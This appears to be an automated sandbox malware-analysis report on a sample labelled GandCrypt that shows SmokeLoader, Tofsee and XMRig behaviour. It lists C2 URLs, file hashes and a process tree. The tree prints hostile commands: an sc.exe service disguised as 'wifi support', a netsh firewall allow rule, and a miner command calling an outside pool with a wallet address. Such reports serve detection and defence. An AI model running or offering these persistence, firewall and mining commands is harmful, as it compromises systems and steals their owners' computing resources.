Overview

overview

10

Static

static

SecuriteIn...83.exe

windows7_x64

10

SecuriteIn...83.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    27-03-2021 20:34

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General

  • Target

    SecuriteInfo.com.Mal.GandCrypt-A.24654.15083.exe

  • Size

    162KB

  • MD5

    5ae56adee91014f52a52c2568535332d

  • SHA1

    553ca6fbd31dca8fa3d0e4e73ae595b977247744

  • SHA256

    e91878bc507051fd594e422452cc31d4dc9f26af8f79b7499f6c04303ffbbcb2

  • SHA512

    27301d713fcc431251395f7764ac37a6ab2f8b953056d6e60ef06336dbdbe2d8e613217ee41986c9b39e4c9523eebac1a49dfa47eb5cedfb1d6be658cfc3b62e

Score
10/10
smokeloadertofseexmrigbackdoorevasionminerpersistencetrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://xsss99.icu/upload/

http://bingooodsg.icu/upload/

http://junntd.xyz/upload/

http://ginessa11.xyz/upload/

http://overplayninsx.xyz/upload/

http://bananinze.com/upload/

http://daunimlas.com/upload/
rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.GandCrypt-A.24654.15083.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.GandCrypt-A.24654.15083.exe"
    1⤵
    • Loads dropped DLL
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4688
  • C:\Users\Admin\AppData\Local\Temp\AD8B.exe
    C:\Users\Admin\AppData\Local\Temp\AD8B.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3188
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jdqlxpye\
      2⤵
        PID:3384
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hfopyujf.exe" C:\Windows\SysWOW64\jdqlxpye\
        2⤵
          PID:4088
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jdqlxpye binPath= "C:\Windows\SysWOW64\jdqlxpye\hfopyujf.exe /d\"C:\Users\Admin\AppData\Local\Temp\AD8B.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1772
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jdqlxpye "wifi internet conection"
            2⤵
              PID:4388
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jdqlxpye
              2⤵
                PID:4468
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3212
              • C:\Windows\SysWOW64\jdqlxpye\hfopyujf.exe
                C:\Windows\SysWOW64\jdqlxpye\hfopyujf.exe /d"C:\Users\Admin\AppData\Local\Temp\AD8B.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4548
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:892
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2052

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\AD8B.exe
                MD5

                7ca6e483fb326d2947d725c850d5242d

                SHA1

                62fe89354684793ad2112c6973c0f169c2c7a6fd

                SHA256

                706fbf9e00bb7b3e48dd802b04f1f96c0b66e4eb097b97576f2f5935a5360bb1

                SHA512

                3f84b8bd0fd15374f0f65bfcd5c824f3f54101153dba05eefafc7f6505990f0981bb24db52dbe174a7b19e9105a1ec13d1b6acd95c21a25c26365765175042b9

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              • C:\Users\Admin\AppData\Local\Temp\AD8B.exe
                MD5

                7ca6e483fb326d2947d725c850d5242d

                SHA1

                62fe89354684793ad2112c6973c0f169c2c7a6fd

                SHA256

                706fbf9e00bb7b3e48dd802b04f1f96c0b66e4eb097b97576f2f5935a5360bb1

                SHA512

                3f84b8bd0fd15374f0f65bfcd5c824f3f54101153dba05eefafc7f6505990f0981bb24db52dbe174a7b19e9105a1ec13d1b6acd95c21a25c26365765175042b9

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\hfopyujf.exe
                MD5

                79dfb159d0b9866bd0bbcb2c99a270bb

                SHA1

                b15503b5a51656fa5e432dca98f9fdb0ecc6ae01

                SHA256

                da147975a6a47a19f77239dc1c1f068578d35478dfc94cc196c89eae1af27218

                SHA512

                edbbdc1843f1649849120f36cfb8d068a9b8ed048419df4a7a2f7c59e7980858942f62a2f2b1640e3e1f7c2cc47c6b190b4c43feddc6977a6755e0c45929e698

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              • C:\Windows\SysWOW64\jdqlxpye\hfopyujf.exe
                MD5

                79dfb159d0b9866bd0bbcb2c99a270bb

                SHA1

                b15503b5a51656fa5e432dca98f9fdb0ecc6ae01

                SHA256

                da147975a6a47a19f77239dc1c1f068578d35478dfc94cc196c89eae1af27218

                SHA512

                edbbdc1843f1649849120f36cfb8d068a9b8ed048419df4a7a2f7c59e7980858942f62a2f2b1640e3e1f7c2cc47c6b190b4c43feddc6977a6755e0c45929e698

                Download Submit

              • \Users\Admin\AppData\Local\Temp\CC4F.tmp
                MD5

                50741b3f2d7debf5d2bed63d88404029

                SHA1

                56210388a627b926162b36967045be06ffb1aad3

                SHA256

                f2f8732ae464738372ff274b7e481366cecdd2337210d4a3cbcd089c958a730c

                SHA512

                fac6bfe35b1ee08b3d42d330516a260d9cdb4a90bbb0491411a583029b92a59d20af3552372ea8fb3f59442b3945bf524ef284127f397ae7179467080be8e9b3

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              • memory/892-30-0x0000000002CB0000-0x0000000002CB6000-memory.dmp

                Filesize

                24KB

                Download

              • memory/892-24-0x0000000002C00000-0x0000000002C15000-memory.dmp

                Filesize

                84KB

                Download

              • memory/892-25-0x0000000002C09A6B-mapping.dmp

                Download

              • memory/892-28-0x0000000002C00000-0x0000000002C15000-memory.dmp

                Filesize

                84KB

                Download

              • memory/892-29-0x0000000004B40000-0x0000000004D4F000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/1772-17-0x0000000000000000-mapping.dmp

                Download

              • memory/2052-31-0x0000000002C00000-0x0000000002CF1000-memory.dmp

                Filesize

                964KB

                Download

              • memory/2052-33-0x0000000002C9259C-mapping.dmp

                Download

              • memory/3128-6-0x0000000000B20000-0x0000000000B36000-memory.dmp

                Filesize

                88KB

                Download

              • memory/3188-13-0x0000000000A60000-0x0000000000A73000-memory.dmp

                Filesize

                76KB

                Download

              • memory/3188-14-0x0000000000400000-0x0000000000415000-memory.dmp

                Filesize

                84KB

                Download

              • memory/3188-10-0x0000000002570000-0x0000000002571000-memory.dmp

                Filesize

                4KB

                Download

              • memory/3188-7-0x0000000000000000-mapping.dmp

                Download

              • memory/3212-21-0x0000000000000000-mapping.dmp

                Download

              • memory/3384-12-0x0000000000000000-mapping.dmp

                Download

              • memory/4088-15-0x0000000000000000-mapping.dmp

                Download

              • memory/4388-18-0x0000000000000000-mapping.dmp

                Download

              • memory/4468-19-0x0000000000000000-mapping.dmp

                Download

              • memory/4548-22-0x0000000001190000-0x0000000001191000-memory.dmp

                Filesize

                4KB

                Download

              • memory/4688-2-0x0000000002620000-0x0000000002621000-memory.dmp

                Filesize

                4KB

                Download

              • memory/4688-4-0x0000000000900000-0x0000000000909000-memory.dmp

                Filesize

                36KB

                Download

              • memory/4688-5-0x0000000000400000-0x0000000000409000-memory.dmp

                Filesize

                36KB

                Download